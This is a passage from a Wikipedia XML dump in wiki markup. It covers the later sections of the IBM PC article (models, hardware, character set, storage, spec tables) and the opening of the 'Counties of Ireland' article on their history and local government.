The team consisted of just 12 people headed by [[William Lowe]]. They succeeded — development of the PC took about a year.  To achieve this they first decided to build the machine with &quot;off-the-shelf&quot; parts from a variety of different [[original equipment manufacturer]]s (OEMs) and countries.  Previously IBM had developed their own components. Second they decided on an open [[Computer architecture|architecture]] so that other manufacturers could produce and sell compatible machines — the [[IBM PC compatible]]s, so the specification of the [[Read-only memory|ROM]] [[BIOS]] was published. IBM hoped to maintain their position in the market by royalties from licensing the BIOS, and by keeping ahead of the competition.

Unfortunately for IBM, other manufacturers rapidly [[reverse engineering|reverse engineered]] the BIOS to produce their own royalty-free versions. [[Compaq |Compaq Computer Corporation]] announced the first cloned [[IBM PC compatible]] in November [[1982]] (it did not ship until March [[1983]]) — the ''[[Compaq Portable]]''. Not only was it the first ''[[IBM-PC compatible]]'' computer not manufactured by [[IBM]], it was also the first ever ''[[IBM-PC compatible]]'' [[portable computer]].
&lt;!-- According to [[IBM_PC_compatible#Origins]], Columbia Data Products produced an earlier PC compatible computer - the ''MPC'' (Multi Personal Computer). Could someone please check if this came before the ''Compaq portable''? --&gt;

Once the ''IBM PC'' became a commercial success the ''PC'' came back under the usual IBM management control, with the result that competitors had little trouble taking the lead from them. (In this regard, IBM's tradition of &quot;rationalizing&quot; their product lines—deliberately restricting the performance of lower-priced models in order to prevent them from &quot;cannibalizing&quot; profits from higher-priced models—worked against them).

== Commercial success ==

The first ''IBM PC'' was released on [[August 11]] [[1981]].  Although not cheap, at a base price of $1,565 it was affordable for businesses — and it was business that purchased the PC.  However it was not the corporate &quot;computer department&quot; that was responsible for this, for the PC was not seen as a 'proper' computer.  It was generally well educated middle managers that saw the potential  — once the revolutionary [[VisiCalc]] spreadsheet, the &quot;[[killer app]]&quot;, had been ported to the PC.  Reassured by the IBM name, they began buying the machines on their own budgets to help do the calculations they had learned at business school.

== IBM PC models ==

The models of IBM's first-generation Personal Computer (PC) series have names: 

* The original PC had a version of [[Microsoft BASIC]] —[[IBM Cassette BASIC]]— in [[read-only memory|ROM]]. The [[Color Graphics Adapter|CGA]] (Color Graphics Adapter) video card could use a standard [[Television|TV]] for display. The standard storage device was [[compact audio cassette|cassette tape]]. A [[floppy disk]] drive was an optional extra; no [[hard disk]] was available. It had only five expansion slots; maximum memory using IBM parts was 256 [[kilobyte|kB]], 64 kB on the main board and three 64 kB expansion cards. The processor was an [[Intel 8088]] (second-sourced [[AMD]]s were used after [[1983]]) running at 4.77 [[megahertz|MHz]]. IBM sold it in configurations with 16 kB and 64 kB of [[random-access memory|RAM]] preinstalled.

* The original PC failed miserably in the home market, but was widely used in business. The &quot;[[IBM Personal Computer XT]]&quot; was an enhanced machine designed for business use. It had 8 expansion slots and a 10 [[megabyte]] hard disk. It could take 256 kB of memory on the main board; later models were expandable to 640 kB, which combined with the ROM made up the full megabyte of memory that the 8088 could address. It was usually sold with a [[Monochrome Display Adapter]] (MDA) video card. The processor was still a 4.77 MHz [[Intel 8088]] and the expansion [[computer bus|bus]] still 8-bit [[Industry Standard Architecture|ISA]] with [[XT bus architecture]].

* The &quot;[[IBM Personal Computer/AT]]&quot;, announced August [[1984]], used an [[Intel 80286]] processor, originally at 6 MHz. It had a 16-bit ISA bus and 20 MB harddrive. A faster model, running at 8 MHz, was introduced in [[1986]]. IBM made some attempt at marketing it as a multi-user machine, but it sold mainly as a faster PC for power users. Early PC/ATs were plagued with reliability problems, in part because of some software and hardware incompatibilities, but mostly related to the internal 20 MB hard drive. While some people blamed IBM's controller card and others blamed the hard drive manufacturer (''Computer Memories International'', or ''CMI''), the IBM controller card worked fine with other drives, including CMI's 33-megabyte model. The problems introduced doubt about the computer and, for a while, even about the 286 architecture in general, but after IBM replaced the 20 MB CMI drives, the PC/AT proved reliable and became a lasting industry standard. CMI quickly went out of business.

* [[IBM Convertible]]
* [[IBM Portable]]
* [[IBM PCjr]]

The models of its second generation, the [[IBM Personal System/2]] (PS/2), are known by model number: [[PS/2 Model 25|Model 25]], [[PS/2 Model 30|Model 30]]. Within each series, the models are also commonly referenced by their [[CPU clock rate]]. 

All IBM personal computers are [[software]] compatible with each other in general, but not every program will work in every machine. Some programs are time sensitive to a particular speed class. Older programs will not take advantage of newer higher-resolution display standards.

== Technology ==

=== Electronics ===

The main circuit board in an IBM PC is called the [[PC motherboard|motherboard]].  This carries the [[Central processing unit|CPU]] and [[computer memory|memory]], and has a [[computer bus|bus]] with slots for expansion cards. 

The bus used in the original PC became very popular, and was subsequently named [[Industry Standard Architecture|ISA]]. It is in use to this day in computers for industrial use. Later, requirements for higher speed and more capacity forced the development of new versions. The [[VESA Local Bus]] allowed for up to three, much faster 32-bit cards, and the [[EISA]] architecture was developed as a backward compatible standard including 32-bit card slots, but it only sold well in high-end server systems.   The lower-cost and more general [[Peripheral Component Interconnect|PCI]] bus was introduced in [[1994]] and has now become ubiquitous.

The motherboard is connected by cables to internal storage devices such as [[hard disk]]s, [[floppy disk]]s and [[CD-ROM]] drives.  These tend to be made in standard sizes, such as 3.5&quot; (90 mm) and 5.25&quot; (133.4 mm) widths, with standard fixing holes.  The case also contains a standard [[electronic power supply|power supply]] unit (PSU) which is either an AT or ATX standard size.

[[Intel]] [[Intel 8086|8086]] and [[Intel 8088|8088]]-based PCs require [[Expanded Memory Specification|EMS]] (expanded memory) boards to work with more than one [[megabyte]] of memory. The original IBM PC AT used an Intel [[Intel 80286|80286]] processor which can access up to 16 megabytes of memory (though standard [[DOS]] applications cannot use more than one megabyte without using additional APIs. Intel 80286-based computers running under [[OS/2]] can work with the maximum memory.

=== Keyboard ===

The original [[1981]] IBM PC's [[computer keyboard|keyboard]] was severely criticised by typists for its non-standard placement of the return and left shift keys. In [[1984]], IBM corrected this on its AT keyboard, but shortened the backspace key, making it harder to reach. In [[1987]], it introduced the [[enhanced keyboard]], which relocated all the function keys and the &lt;TT&gt;Ctrl&lt;/TT&gt; keys. The &lt;TT&gt;Esc&lt;/TT&gt; key was also relocated to the opposite side of the keyboard.

An &quot;IBM PC compatible&quot; may have a keyboard which does not recognize every key combination a true IBM PC does, e.g. shifted cursor keys. In addition, the &quot;compatible&quot; vendors sometimes used proprietary keyboard interfaces, preventing you from replacing the keyboard.

''See also'': [[Keyboard layout]]

=== Character set ===

The original IBM PC used the 7-bit [[ASCII]] alphabet as its basis, but extended it to 8 bits with nonstandard character codes. This character set was not suitable for some international applications, and soon a veritable cottage industry emerged providing variants of the original character set in various national variants. In IBM tradition, these variants were called [[code page]]s. These codings are now obsolete, having been replaced by more systematic and standardized forms of character coding, such as [[ISO 8859-1]], [[Windows-1251]] and [[Unicode]].


This was the original IBM PC character set:

{|
|- align=&quot;center&quot;
| || ||&lt;code&gt;-0 &lt;/code&gt;||&lt;code&gt;-1 &lt;/code&gt;||&lt;code&gt;-2 &lt;/code&gt;||&lt;code&gt;-3 &lt;/code&gt;||&lt;code&gt;-4 &lt;/code&gt;||&lt;code&gt;-5 &lt;/code&gt;||&lt;code&gt;-6 &lt;/code&gt;||&lt;code&gt;-7 &lt;/code&gt;||&lt;code&gt;-8 &lt;/code&gt;||&lt;code&gt;-9 &lt;/code&gt;||&lt;code&gt;-A &lt;/code&gt;||&lt;code&gt;-B &lt;/code&gt;||&lt;code&gt;-C &lt;/code&gt;||&lt;code&gt;-D &lt;/code&gt;||&lt;code&gt;-E &lt;/code&gt;||&lt;code&gt;-F &lt;/code&gt;|| || 
|- align=&quot;center&quot;
|&lt;code&gt;0-&lt;/code&gt;|| || ||☺||☻||♥||♦||♣||♠||•||◘||○||◙||♂||♀||♪||♫||☼|| ||&lt;code&gt;0-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;1-&lt;/code&gt;|| ||►||◄||↕||‼||¶||§||▬||↨||↑||↓||→||←||∟||↔||▲||▼|| ||&lt;code&gt;1-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;2-&lt;/code&gt;|| || ||!||&quot;||#||$||%||&amp;||'||(||)||*||+||,||-||.||/|| ||&lt;code&gt;2-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;3-&lt;/code&gt;|| ||0||1||2||3||4||5||6||7||8||9||:||;||&lt;||=||&gt;||?|| ||&lt;code&gt;3-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;4-&lt;/code&gt;|| ||@||A||B||C||D||E||F||G||H||I||J||K||L||M||N||O|| ||&lt;code&gt;4-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;5-&lt;/code&gt;|| ||P||Q||R||S||T||U||V||W||X||Y||Z||[||\||]||^||_|| ||&lt;code&gt;5-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;6-&lt;/code&gt;|| ||`||a||b||c||d||e||f||g||h||i||j||k||l||m||n||o|| ||&lt;code&gt;6-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;7-&lt;/code&gt;|| ||p||q||r||s||t||u||v||w||x||y||z||{|||||}||~||⌂|| ||&lt;code&gt;7-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;8-&lt;/code&gt;|| ||Ç||ü||é||â||ä||à||å||ç||ê||ë||è||ï||î||ì||Ä||Å|| ||&lt;code&gt;8-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;9-&lt;/code&gt;|| ||É||æ||Æ||ô||ö||ò||û||ù||ÿ||Ö||Ü||¢||£||¥||₧||ƒ|| ||&lt;code&gt;9-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;A-&lt;/code&gt;|| ||á||í||ó||ú||ñ||Ñ||ª||º||¿||⌐||¬||½||¼||¡||«||»|| ||&lt;code&gt;A-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;B-&lt;/code&gt;|| ||░||▒||▓||│||┤||╡||╢||╖||╕||╣||║||╗||╝||╜||╛||┐|| ||&lt;code&gt;B-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;C-&lt;/code&gt;|| ||└||┴||┬||├||─||┼||╞||╟||╚||╔||╩||╦||╠||═||╬||╧|| ||&lt;code&gt;C-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;D-&lt;/code&gt;|| ||╨||╤||╥||╙||╘||╒||╓||╫||╪||┘||┌||█||▄||▌||▐||▀|| ||&lt;code&gt;D-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;E-&lt;/code&gt;|| ||α||ß||Γ||π||Σ||σ||µ||τ||Φ||Θ||Ω||δ||∞||φ||ε||∩|| ||&lt;code&gt;E-&lt;/code&gt;
|- align=&quot;center&quot;
|&lt;code&gt;F-&lt;/code&gt;|| ||≡||±||≥||≤||⌠||⌡||÷||≈||°||∙||·||√||ⁿ||²||■|| || ||&lt;code&gt;F-&lt;/code&gt;
|- align=&quot;center&quot;
| || ||&lt;code&gt;-0 &lt;/code&gt;||&lt;code&gt;-1 &lt;/code&gt;||&lt;code&gt;-2 &lt;/code&gt;||&lt;code&gt;-3 &lt;/code&gt;||&lt;code&gt;-4 &lt;/code&gt;||&lt;code&gt;-5 &lt;/code&gt;||&lt;code&gt;-6 &lt;/code&gt;||&lt;code&gt;-7 &lt;/code&gt;||&lt;code&gt;-8 &lt;/code&gt;||&lt;code&gt;-9 &lt;/code&gt;||&lt;code&gt;-A &lt;/code&gt;||&lt;code&gt;-B &lt;/code&gt;||&lt;code&gt;-C &lt;/code&gt;||&lt;code&gt;-D &lt;/code&gt;||&lt;code&gt;-E &lt;/code&gt;||&lt;code&gt;-F &lt;/code&gt;|| || 
|}

{{details|Code page 437}}

=== Storage media ===

Officially, the standard storage medium for the original IBM PC model 5150 was a [[Compact cassette#Data recording|cassette]] drive. Technologically obsolete even by [[1981]] standards, it was seldom used, and few (if any) IBM PCs left the factory without a floppy disk drive installed. The 1981 PC had one or two 180 [[kilobyte]] 5 1/4 inch single sided double density [[floppy disk]] drives; XT's generally had one double sided 360 kB drive (next to their [[hard disk]]).

The first IBM PC that included a fixed, non-removable, hard disk was the XT. Hard disks for IBM compatibles soon became available with very large storage capacities. If a hard disk was added that was not compatible with the existing [[disk controller]], a new controller board had to be plugged in; some disks were integrated with their controller in a single expansion board.

In 1984, IBM introduced the 1.2 megabyte dual sided floppy disk along with its AT model. Although often used as backup storage, the high density floppy was not often used for interchangeability. In 1986, IBM introduced the 720 kB [[double density]] 3.5&quot; microfloppy disk on its Convertible laptop computer. It introduced the 1.44 MB [[high density]] version with the PS/2 line. These disk drives could be added to existing older model PCs. In 1988 IBM introduced a drive for 2.88 MB &quot;DSED&quot; diskettes in its top-of-the-line models; it was an instant failure and is all but forgotten today (but survives as a possible &quot;size&quot; choice in [[Disk_format|disk-formatting]] utilities).

=== Software ===

All IBM PCs includes a relatively small piece of software stored in [[read-only memory|ROM]].   The original IBM PC 40 kB ROM included 8 kB for [[power-on self-test]] (POST) and basic input/output system ([[BIOS]]) functions plus 32 kB [[BASIC programming language|BASIC]] in ROM ([[IBM Cassette BASIC|Cassette BASIC]]). The ROM BASIC interpreter was the default user interface if no [[DOS]] [[boot disk]] was present.  [[Microsoft BASICA interpreter|BASICA]] was distributed on floppy disk and provided a way to run the ROM BASIC under [[PC-DOS]] control.

== IBM PC and PS/2 models ==

&lt;table border=1&gt;
&lt;caption&gt;''The IBM PC range'' :&lt;/caption&gt;
&lt;tr&gt;&lt;th&gt;Model name&lt;/th&gt;&lt;th&gt;Introduced&lt;/th&gt;&lt;th&gt;CPU&lt;/th&gt;&lt;th&gt;Features&lt;/th&gt;&lt;/tr&gt;
&lt;!-------------------------------------------------------------------------&gt;
&lt;tr&gt;&lt;td&gt;[[IBM PC|PC]]&lt;/td&gt;&lt;td&gt;Aug 1981&lt;/td&gt;&lt;td&gt;8088&lt;/td&gt;&lt;td&gt;Floppy disk system&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[IBM Personal Computer XT|XT]]&lt;/td&gt;&lt;td&gt;Mar 1983&lt;/td&gt;&lt;td&gt;8088&lt;/td&gt;&lt;td&gt;Slow [[hard disk]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;XT/370&lt;/td&gt;&lt;td&gt;Oct 1983&lt;/td&gt;&lt;td&gt;8088&lt;/td&gt;&lt;td&gt;[[System/370]] [[IBM mainframe|mainframe]] [[emulation]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;3270 PC&lt;/td&gt;&lt;td&gt;Oct 1983&lt;/td&gt;&lt;td&gt;8088&lt;/td&gt;&lt;td&gt;With [[3270 terminal]] emulation&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[IBM PCjr|PCjr]]&lt;/td&gt;&lt;td&gt;Nov 1983&lt;/td&gt;&lt;td&gt;8088&lt;/td&gt;&lt;td&gt;Floppy-based home computer&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[IBM Portable|PC Portable]]&lt;/td&gt;&lt;td&gt;Feb 1984&lt;/td&gt;&lt;td&gt;8088&lt;/td&gt;&lt;td&gt;Floppy-based portable&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[IBM Personal Computer/AT|AT]]&lt;/td&gt;&lt;td&gt;Aug 1984&lt;/td&gt;&lt;td&gt;286&lt;/td&gt;&lt;td&gt;Medium-speed hard disk&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[IBM Convertible|Convertible]]&lt;/td&gt;&lt;td&gt;Apr 1986&lt;/td&gt;&lt;td&gt;8088&lt;/td&gt;&lt;td&gt;Microfloppy laptop portable&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;XT 286&lt;/td&gt;&lt;td&gt;Sep 1986&lt;/td&gt;&lt;td&gt;286&lt;/td&gt;&lt;td&gt;Slow hard disk, but zero [[wait state]] memory on the motherboard.  This 6 MHz machine was actually faster than the 8 MHz ATs (when using planar memory) because of the zero wait states&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;


&lt;table border=1&gt;
&lt;caption&gt;''The [[IBM Personal System/2|PS/2]] series'' :&lt;/caption&gt;
&lt;tr&gt;&lt;th&gt;Model&lt;/th&gt;&lt;th&gt;Introduced&lt;/th&gt;&lt;th&gt;CPU&lt;/th&gt;&lt;th&gt;Features&lt;/th&gt;&lt;/tr&gt;
&lt;!--------------------------------------------------------------------&gt;
&lt;tr&gt;&lt;td&gt;25&lt;/td&gt;&lt;td&gt;August 1987&lt;/td&gt;&lt;td&gt;8086&lt;/td&gt;&lt;td&gt;PC bus (limited expansion)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;30&lt;/td&gt;&lt;td&gt;April 1987&lt;/td&gt;&lt;td&gt;8086&lt;/td&gt;&lt;td&gt;PC bus&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;30&lt;/td&gt;&lt;td&gt;August 1987&lt;/td&gt;&lt;td&gt;286&lt;/td&gt;&lt;td&gt;PC bus&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;50&lt;/td&gt;&lt;td&gt;April 1987&lt;/td&gt;&lt;td&gt;286&lt;/td&gt;&lt;td&gt;[[Micro Channel Architecture]] [[computer bus|bus]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;50Z&lt;/td&gt;&lt;td&gt;June 1988&lt;/td&gt;&lt;td&gt;286&lt;/td&gt;&lt;td&gt;Faster Model 50&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;55 SX&lt;/td&gt;&lt;td&gt;May 1989&lt;/td&gt;&lt;td&gt;386SX&lt;/td&gt;&lt;td&gt;MCA bus&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;60&lt;/td&gt;&lt;td&gt;April 1987&lt;/td&gt;&lt;td&gt;286&lt;/td&gt;&lt;td&gt;MCA bus&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;70&lt;/td&gt;&lt;td&gt;June 1988&lt;/td&gt;&lt;td&gt;386&lt;/td&gt;&lt;td&gt;Desktop, MCA bus&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;P70&lt;/td&gt;&lt;td&gt;May 1989&lt;/td&gt;&lt;td&gt;386&lt;/td&gt;&lt;td&gt;Portable, MCA bus&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;80&lt;/td&gt;&lt;td&gt;April 1987&lt;/td&gt;&lt;td&gt;386&lt;/td&gt;&lt;td&gt;Tower, MCA bus&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;


&lt;table border=1&gt;
&lt;caption&gt;''IBM PC compatible specifications'' :&lt;/caption&gt;
&lt;tr&gt;&lt;th&gt;CPU&lt;/th&gt;&lt;th&gt;Clock&lt;br/&gt; speed&lt;br/&gt; (MHz)&lt;/th&gt;&lt;th&gt;CPU &lt;br/&gt;bus &lt;br/&gt; width ([[bit|bits]])&lt;/th&gt;&lt;th&gt;System &lt;br/&gt;Bus &lt;br/&gt;width (bits)&lt;/th&gt;&lt;th&gt;RAM &lt;br/&gt;([[megabyte|megabytes]])&lt;/th&gt;&lt;th&gt;[[Floppy disk|Floppy&lt;br/&gt;disk drive]]&lt;/th&gt;&lt;th&gt;[[Hard disk|Hard drive]] &lt;br/&gt;([[megabyte|megabytes]])&lt;/th&gt;&lt;th&gt;[[Operating system|Operating&lt;br/&gt;system]]&lt;/th&gt;&lt;/tr&gt;
&lt;!---------------------------------------------------------------------------------&gt;
&lt;tr&gt;&lt;td&gt;8088&lt;/td&gt;&lt;td&gt;4.77–9.5&lt;/td&gt;&lt;td rowspan=3&gt;16&lt;/td&gt;&lt;td&gt;8&lt;/td&gt;&lt;td rowspan=2&gt;1  &lt;sup&gt;(1)&lt;/sup&gt;&lt;/td&gt;&lt;td rowspan=2&gt;5.25&quot;, 360 KB&lt;br/&gt;3.5&quot;, 720 KB&lt;br/&gt;3.5&quot;, 1.44 MB&lt;/td&gt;&lt;td&gt;10–40&lt;/td&gt;&lt;td rowspan=2&gt;[[PC-DOS]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;8086&lt;/td&gt;&lt;td&gt;6–12&lt;/td&gt;&lt;td rowspan=2&gt;16&lt;/td&gt;&lt;td&gt;20–60&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;286&lt;/td&gt;&lt;td&gt;6–25&lt;/td&gt;&lt;td&gt;1–8  &lt;sup&gt;(1)&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;5.25&quot;, 360 KB&lt;br/&gt;5.25&quot;, 1.2 MB &lt;/td&gt;&lt;td&gt;20–300&lt;/td&gt;&lt;td&gt;[[PC-DOS]], [[OS/2]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;386&lt;/td&gt;&lt;td rowspan=2&gt;16–33&lt;/td&gt;&lt;td rowspan=2&gt;32&lt;/td&gt;&lt;td&gt;32&lt;/td&gt;&lt;td rowspan=2&gt;1–16  &lt;sup&gt;(2)&lt;/sup&gt;&lt;/td&gt;&lt;td rowspan=2&gt;3.5&quot;, 720 KB&lt;br/&gt;3.5&quot;, 1.44 MB &lt;/td&gt;&lt;td rowspan=2&gt;40–600&lt;/td&gt;&lt;td rowspan=2&gt;[[Unix|UNIX]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;386SX&lt;/td&gt;&lt;td&gt;16&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

# Under DOS, RAM is expanded beyond 1 MB with [[Expanded memory|EMS]] memory boards 
# Under DOS, RAM is expanded beyond 1 MB with normal &quot;[[Extended memory |extended]]&quot; memory and a memory management program.

== See also ==
*[[IBM PC compatible]] (aka IBM PC clone)
*[[List of IBM products]]

== References ==
*Norton, Peter (1986). ''Inside the IBM PC. Revised and enlarged''. New York. Brady. ISBN 0-89303-583-1.
*IBM Corporation ([[August 12]], [[1981]]). [http://www-1.ibm.com/ibm/history/documents/pdf/pcpress.pdf Personal Computer Announced By IBM] (PDF format).  Press Release in the historical archives of IBM.
*Mueller, Scott (1992) ''Upgrading and Repairing the PCs, Second Edition'', Que Books, ISBN 0-88022-856-3

== External links ==
*[http://www.old-computers.com/museum/computer.asp?c=274 IBM PC] The beginning of the PC: the IBM PC - model 5150.
*[http://oldcomputers.net/ibm5150.html IBM 5150 listing]
*[http://world.std.com/~swmcd/steven/rants/pc.html Limitations of the IBM PC Architecture] History of the IBM PC Architecture
*[http://groups.google.com/groups?selm=anews.Aucbvax.2735 ''&quot;IBM Personal Computer&quot;''] — The first [[USENET]] post to review the ''IBM PC''.
*[http://www.google.com/groups?q=ibm+group:net.micro.pc&amp;hl=en&amp;lr=&amp;ie=UTF-8&amp;scoring=d&amp;as_drrb=b&amp;as_mind=1&amp;as_minm=1&amp;as_miny=1981&amp;as_maxd=1&amp;as_maxm=1&amp;as_maxy=1983&amp;selm=bnews.mhuxh.1069&amp;rnum=28 Google Groups] thread from 1982 indicating that IBM PCs with 16K RAM were actually manufactured and sold. (The statement that 16K machines were sold is hard to believe and hence frequently challenged).
*[http://www.uncreativelabs.org Uncreative Labs] Dedicated to the IBM PC/XT


{{FOLDOC}}

[[Category:IBM hardware|PC]]
[[Category:IBM PC compatibles|*PC]]

[[de:IBM-PC]]
[[es:IBM PC]]
[[fr:PC/G et PC/XT]]
[[it:PC IBM]]
[[lv:IBM PC]]
[[nl:IBM Personal Computer]]
[[ja:PC/AT]]
[[pl:IBM PC]]
[[pt:IBM PC]]
[[ru:IBM PC]]
[[fi:IBM PC]]
[[sv:IBM PC]]
[[th:ไอบีเอ็มพีซี]]</text>
    </revision>
  </page>
  <page>
    <title>Counties of Ireland</title>
    <id>15033</id>
    <revision>
      <id>42086871</id>
      <timestamp>2006-03-03T19:10:14Z</timestamp>
      <contributor>
        <username>Djegan</username>
        <id>49447</id>
      </contributor>
      <minor />
      <comment>rv - [[County Londonderry]]</comment>
      <text xml:space="preserve">The [[island]] of '''[[Ireland]]''' has 32 '''[[county|counties]]''', the [[Republic of Ireland]] made up of 26 of these;  [[Northern Ireland]] comprises the remaining 6. The counties are subdivisions of the ancient [[Provinces of Ireland]], made up, in general, from smaller territories. While the provinces have existed in some form for many centuries, the counties developed under the Anglo-Norman and British administrations, with the first counties formed in the century after Strongbow's arrival and the last, Wicklow, finally formalised in 1606.

The counties were subsequently adopted by sporting and cultural organisations such as the [[Gaelic Athletic Association]], which organises its activities on county lines and today they attract strong loyalties, particularly in the sporting field. 

The strict definition of what constitutes a county in Ireland has been slightly blurred by a growing association of some of the population to their respective [[administrative county]], most prominently noticeable (due to historical influences) in the counties of [[North Tipperary]], [[South Tipperary]] and in more recent times the divisions of County Dublin, [[Dun Laoghaire-Rathdown]], [[Fingal]] and [[South Dublin]]. Currently the &quot;traditional&quot; 32 counties remain in use as the basis of local identity and sporting loyalties.

==Map==
{| align=&quot;center&quot; cellpadding=&quot;10&quot;
|[[Image:IrelandNumbered.png|250px|Map of Ireland with numbered counties]]
| style=&quot;font-size: 90%;&quot; |'''[[Republic of Ireland]]'''
#[[County Dublin|Dublin]]
#[[County Wicklow|Wicklow]]
#[[County Wexford|Wexford]]
#[[County Carlow|Carlow]]
#[[County Kildare|Kildare]]
#[[County Meath|Meath]]
#[[County Louth|Louth]]
#[[County Monaghan|Monaghan]]
#[[County Cavan|Cavan]]
#[[County Longford|Longford]]
#[[County Westmeath|Westmeath]]
#[[County Offaly|Offaly]]
#[[County Laois|Laois]]
#[[County Kilkenny|Kilkenny]]
#[[County Waterford|Waterford]]
#[[County Cork|Cork]]
| style=&quot;font-size: 90%;&quot; |
&lt;ol start=17&gt;
&lt;li&gt;[[County Kerry|Kerry]]
&lt;li&gt;[[County Limerick|Limerick]]
&lt;li&gt;[[County Tipperary|Tipperary]]
&lt;li&gt;[[County Clare|Clare]]
&lt;li&gt;[[County Galway|Galway]]
&lt;li&gt;[[County Mayo|Mayo]]
&lt;li&gt;[[County Roscommon|Roscommon]]
&lt;li&gt;[[County Sligo|Sligo]]
&lt;li&gt;[[County Leitrim|Leitrim]]
&lt;li&gt;[[County Donegal|Donegal]]
&lt;/ol&gt;

'''[[Northern Ireland]]'''
#[[County Fermanagh|Fermanagh]]
#[[County Tyrone|Tyrone]]
#[[County Londonderry|Londonderry]]
#[[County Antrim|Antrim]]
#[[County Down|Down]]
#[[County Armagh|Armagh]]
|}

==Background==
The political [[geography of Ireland]] can be traced with some accuracy from the seventh century. At that time Ireland was divided into about 150 different units of government, each one called a ''[[tuath]]'' (pl. ''tuatha''). A ''tuath'' was a autonomous group of people of independent political jurisdiction under a chief called ''sub-rege'' (''Rí Tuaithe'', tribal king. often the Chief of a Clan). 

In the sixth century, Ireland was divided into ''cúigí'' or fifths (sing. ''cúige''). The four current [[provinces of Ireland]] were named after four of these ''cúigí'', ''Uladh'' ([[Ulster]]), ''Laighean'' ([[Leinster]], ''Connachta'' ([[Connacht]]) and ''Mumha'' ([[Munster]]). The fifth ''cúige'', ''Mídh'' ([[Meath]]), corresponded to the present-day counties of [[Meath]], [[Westmeath]], [[County Longford|Longford]] and [[Offaly]] in present-day Leinster ([[Louth]] was considered to be part of Ulster). In [[bard|bardic lore]], the “fifths of Ireland” corresponded to the five provinces: learning was in the west, war in the north, wealth in the east, music or art in the south and kinship in the centre (Meath). 

In the 12th century, the [[Kings of England]] began their first of many invasions (commonly referred to in Ireland as the ''Norman Invasion''). The English governed Ireland in a like structure as they did themselves, by dividing the country into shires or counties in the late 12th and early 13th centuries. To correspond with the subdivisions of the English shires into honors or [[barony|baronies]], Irish counties were granted out to the Angle-Norman noblemen in ''cantreds'', later known as [[barony (Ireland)|baronies]], which in turn were subdivided, as in England, into manors or [[townland|townlands]]. (However, in many cases, both baronies and townlands correspond to earlier, pre-Norman, divisions.) While there are 331 baronies in Ireland, divided first into [[civil parish|civil parishes]], there are around 60,000 townlands that range in size from one to several thousand [[acre|acres]]. Townlands were often traditionally divided into smaller units called ''quarters'', but these subdivisions are not legally defined.

==Local government==
:''Main articles: [[Districts of Northern Ireland]], [[Local government in the Republic of Ireland]]''

The original pattern of 32 counties evolved over many years from the original [[Normans|Norman]] conquest of Ireland. 

The [[Local Government (Ireland) Act 1898]] was a significant milestone in the framing of the counties and their status. Some of the 32 counties are no longer the main basis for local government, planning and community development purposes, although unlike the [[Traditional counties of the British Isles|counties in Great Britain]], the Republic's traditional county boundaries are still respected for other purposes (counties on occasion being sub-divided).

In the Republic of Ireland, six of the original 26 counties have more than one local authority area, producing a total of 34 &quot;county-level&quot; authorities. [[County Tipperary]] has been split into [[North Tipperary]] and [[South Tipperary]] since [[1898]] and the formal adoption of the county system for local government. In 1994 [[County Dublin]] was split into [[Dun Laoghaire-Rathdown]], [[Fingal]], and [[South Dublin]]. By 2002 however, upon the establishment of County Development Boards, the definition of &quot;local government&quot; expanded to include the need for a proper identity in each of the new counties; the development of which is ongoing. Of the administrative structures established under the 1898 Local Government Act, the only type to have been completely abolished were the [[Rural District]]s, which were rendered void in the early years of the [[Irish Free State]] amidst widespread allegations of corruption. On the other hand, administrative structures such as Town Councils and Regional Authorities (created to comply with requirements of the EU) exist in parallel with the county system.

In Northern Ireland, a major re-organisation of local government in 1973 replaced the six traditional counties and two [[county borough]]s ([[Belfast]] and [[Londonderry]]) by 26 &quot;single-tier&quot; [[Districts of Northern Ireland|districts]] for local government purposes, and these cross the traditional county boundaries. The six counties and two county-boroughs remain in use for purposes such as [[Lord-Lieutenant|Lieutenancy]], they are also used for the [[Royal Mail]] [[Postcode Address File]].

===Administration===
